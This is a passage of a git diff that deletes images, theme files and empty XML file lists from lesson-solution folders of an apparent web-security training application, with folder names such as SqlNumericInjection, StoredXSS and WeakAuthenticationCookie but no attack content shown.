b/src/main/webapp/lesson_solutions/SoapRequest_files/image005.png deleted file mode 100644 index f46b3b8f7..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image006.jpg b/src/main/webapp/lesson_solutions/SoapRequest_files/image006.jpg deleted file mode 100644 index d7c4069ba..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image007.png b/src/main/webapp/lesson_solutions/SoapRequest_files/image007.png deleted file mode 100644 index a841fc1d5..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image008.jpg b/src/main/webapp/lesson_solutions/SoapRequest_files/image008.jpg deleted file mode 100644 index 2d4b523a5..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image009.png b/src/main/webapp/lesson_solutions/SoapRequest_files/image009.png deleted file mode 100644 index 2b7656cc1..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image010.jpg b/src/main/webapp/lesson_solutions/SoapRequest_files/image010.jpg deleted file mode 100644 index 910fb47dc..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image010.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg b/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg deleted file mode 100644 index fc258a811..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SoapRequest_files/themedata.thmx b/src/main/webapp/lesson_solutions/SoapRequest_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/SoapRequest_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg b/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg deleted file mode 100644 index 025d0c4c0..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlAddData_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg b/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg deleted file mode 100644 index 0b5b82073..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlModifyData_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/filelist.xml deleted file mode 100644 index ce53b8ce8..000000000 --- a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image001.png b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image001.png deleted file mode 100644 index 4876d330e..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image002.jpg b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image002.jpg deleted file mode 100644 index 11fa10d47..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image003.png b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image003.png deleted file mode 100644 index 272aa8b2b..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image004.jpg b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image004.jpg deleted file mode 100644 index 38109d42f..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image005.png b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image005.png deleted file mode 100644 index f2868eb02..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image006.jpg b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image006.jpg deleted file mode 100644 index eb31b8e72..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection.png b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection.png deleted file mode 100644 index bbafec0a6..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection_solved.png b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection_solved.png deleted file mode 100644 index 54ef52882..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/numericinjection_solved.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/SqlNumericInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlNumericInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/SqlStringInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/SqlStringInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/SqlStringInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/SqlStringInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/SqlStringInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/SqlStringInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/StoredXSS_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/StoredXSS_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/filelist.xml b/src/main/webapp/lesson_solutions/StoredXSS_files/filelist.xml deleted file mode 100644 index a3cfc699b..000000000 --- a/src/main/webapp/lesson_solutions/StoredXSS_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/image001.png b/src/main/webapp/lesson_solutions/StoredXSS_files/image001.png deleted file mode 100644 index 1ad882b5f..000000000 Binary files a/src/main/webapp/lesson_solutions/StoredXSS_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/image003.png b/src/main/webapp/lesson_solutions/StoredXSS_files/image003.png deleted file mode 100644 index d44ec5c39..000000000 Binary files a/src/main/webapp/lesson_solutions/StoredXSS_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/image005.png b/src/main/webapp/lesson_solutions/StoredXSS_files/image005.png deleted file mode 100644 index 5a5d10342..000000000 Binary files a/src/main/webapp/lesson_solutions/StoredXSS_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/image007.jpg b/src/main/webapp/lesson_solutions/StoredXSS_files/image007.jpg deleted file mode 100644 index ca84b8469..000000000 Binary files a/src/main/webapp/lesson_solutions/StoredXSS_files/image007.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/image008.jpg b/src/main/webapp/lesson_solutions/StoredXSS_files/image008.jpg deleted file mode 100644 index 8ece60e0a..000000000 Binary files a/src/main/webapp/lesson_solutions/StoredXSS_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/image009.jpg b/src/main/webapp/lesson_solutions/StoredXSS_files/image009.jpg deleted file mode 100644 index c0313ee42..000000000 Binary files a/src/main/webapp/lesson_solutions/StoredXSS_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/StoredXSS_files/themedata.thmx b/src/main/webapp/lesson_solutions/StoredXSS_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/StoredXSS_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/filelist.xml b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/filelist.xml deleted file mode 100644 index 010502f71..000000000 --- a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image001.png b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image001.png deleted file mode 100644 index 398af0841..000000000 Binary files a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image002.jpg b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image002.jpg deleted file mode 100644 index 52526d118..000000000 Binary files a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image003.png b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image003.png deleted file mode 100644 index d22701fe3..000000000 Binary files a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image004.jpg b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image004.jpg deleted file mode 100644 index 4b222b8f0..000000000 Binary files a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image007.png b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image007.png deleted file mode 100644 index 8c9ea75b7..000000000 Binary files a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image009.jpg b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image009.jpg deleted file mode 100644 index 6a1c67f50..000000000 Binary files a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx b/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/TraceXSS_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/TraceXSS_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/TraceXSS_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/TraceXSS_files/filelist.xml b/src/main/webapp/lesson_solutions/TraceXSS_files/filelist.xml deleted file mode 100644 index 90de9a7db..000000000 --- a/src/main/webapp/lesson_solutions/TraceXSS_files/filelist.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/TraceXSS_files/image001.png b/src/main/webapp/lesson_solutions/TraceXSS_files/image001.png deleted file mode 100644 index 1a73bd667..000000000 Binary files a/src/main/webapp/lesson_solutions/TraceXSS_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/TraceXSS_files/image002.jpg b/src/main/webapp/lesson_solutions/TraceXSS_files/image002.jpg deleted file mode 100644 index fd3b3d48e..000000000 Binary files a/src/main/webapp/lesson_solutions/TraceXSS_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/TraceXSS_files/themedata.thmx b/src/main/webapp/lesson_solutions/TraceXSS_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/TraceXSS_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/UncheckedEmail_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/UncheckedEmail_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/filelist.xml b/src/main/webapp/lesson_solutions/UncheckedEmail_files/filelist.xml deleted file mode 100644 index 679895ff7..000000000 --- a/src/main/webapp/lesson_solutions/UncheckedEmail_files/filelist.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image001.png b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image001.png deleted file mode 100644 index 4c5655e62..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image002.jpg b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image002.jpg deleted file mode 100644 index 62a30cf94..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image003.png b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image003.png deleted file mode 100644 index 8fd3ad15c..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image004.jpg b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image004.jpg deleted file mode 100644 index 2a5943d8f..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image005.png b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image005.png deleted file mode 100644 index 861f3dc14..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image006.jpg b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image006.jpg deleted file mode 100644 index fae87c128..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image007.png b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image007.png deleted file mode 100644 index 46049533d..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image008.jpg b/src/main/webapp/lesson_solutions/UncheckedEmail_files/image008.jpg deleted file mode 100644 index fe5aa8442..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/UncheckedEmail_files/themedata.thmx b/src/main/webapp/lesson_solutions/UncheckedEmail_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/UncheckedEmail_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/WSDLScanning_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/WSDLScanning_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/filelist.xml b/src/main/webapp/lesson_solutions/WSDLScanning_files/filelist.xml deleted file mode 100644 index 5f46ccf32..000000000 --- a/src/main/webapp/lesson_solutions/WSDLScanning_files/filelist.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image001.png b/src/main/webapp/lesson_solutions/WSDLScanning_files/image001.png deleted file mode 100644 index 3268c9b0a..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image003.png b/src/main/webapp/lesson_solutions/WSDLScanning_files/image003.png deleted file mode 100644 index 25ea1988a..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image005.png b/src/main/webapp/lesson_solutions/WSDLScanning_files/image005.png deleted file mode 100644 index 63f42f9de..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image007.png b/src/main/webapp/lesson_solutions/WSDLScanning_files/image007.png deleted file mode 100644 index 9ca7703d6..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image009.jpg b/src/main/webapp/lesson_solutions/WSDLScanning_files/image009.jpg deleted file mode 100644 index fb0e23ea9..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image010.jpg b/src/main/webapp/lesson_solutions/WSDLScanning_files/image010.jpg deleted file mode 100644 index cb7259343..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image010.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image011.jpg b/src/main/webapp/lesson_solutions/WSDLScanning_files/image011.jpg deleted file mode 100644 index 300095af6..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/image012.jpg b/src/main/webapp/lesson_solutions/WSDLScanning_files/image012.jpg deleted file mode 100644 index 2d00abf25..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/image012.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WSDLScanning_files/themedata.thmx b/src/main/webapp/lesson_solutions/WSDLScanning_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/WSDLScanning_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml deleted file mode 100644 index ce42de1c0..000000000 --- a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image001.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image001.png deleted file mode 100644 index edac8c19a..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image003.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image003.png deleted file mode 100644 index 0306a8f1f..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image005.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image005.png deleted file mode 100644 index 7afb889fe..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image007.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image007.png deleted file mode 100644 index 5c6c3d9c8..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image009.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image009.png deleted file mode 100644 index 6d110d265..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image011.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image011.png deleted file mode 100644 index 6831d62bf..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image013.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image013.png deleted file mode 100644 index c04235add..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image013.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image015.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image015.png deleted file mode 100644 index b0a6eceb4..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image015.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image017.png b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image017.png deleted file mode 100644 index 78a1feb74..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image017.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg deleted file mode 100644 index a6e68a265..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg deleted file mode 100644 index 338a42ed8..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg deleted file mode 100644 index c1662c8f0..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg deleted file mode 100644 index 96f7253fd..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg deleted file mode 100644 index c856ee032..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg deleted file mode 100644 index 1cbf8ff3a..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg deleted file mode 100644 index d9b59af8b..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg deleted file mode 100644 index 5d30443e1..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg deleted file mode 100644 index dec137dce..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx b/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg b/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg deleted file mode 100644 index 7309a0035..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg b/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg deleted file mode 100644 index 3b442cc42..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg b/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg deleted file mode 100644 index 21ce9ef3d..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg b/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg deleted file mode 100644 index 52b78aaca..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg b/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg deleted file mode 100644 index bbc01ffc1..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg b/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg deleted file mode 100644 index 27ca4296d..000000000 Binary files a/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/WsSAXInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/WsSAXInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/WsSAXInjection_files/filelist.xml deleted file mode 100644 index 56559fd6d..000000000 --- a/src/main/webapp/lesson_solutions/WsSAXInjection_files/filelist.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image001.png b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image001.png deleted file mode 100644 index ba76d14d9..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image002.jpg b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image002.jpg deleted file mode 100644 index 24692deda..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image003.png b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image003.png deleted file mode 100644 index be045e27f..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image003.png and /dev/null differ diff --git 